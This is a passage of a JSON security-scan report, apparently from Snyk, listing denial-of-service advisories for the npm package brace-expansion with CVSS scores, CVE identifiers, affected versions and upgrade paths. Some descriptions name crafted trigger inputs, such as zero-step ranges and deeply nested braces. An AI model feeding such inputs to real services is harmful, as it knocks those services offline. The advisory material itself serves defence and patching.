Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
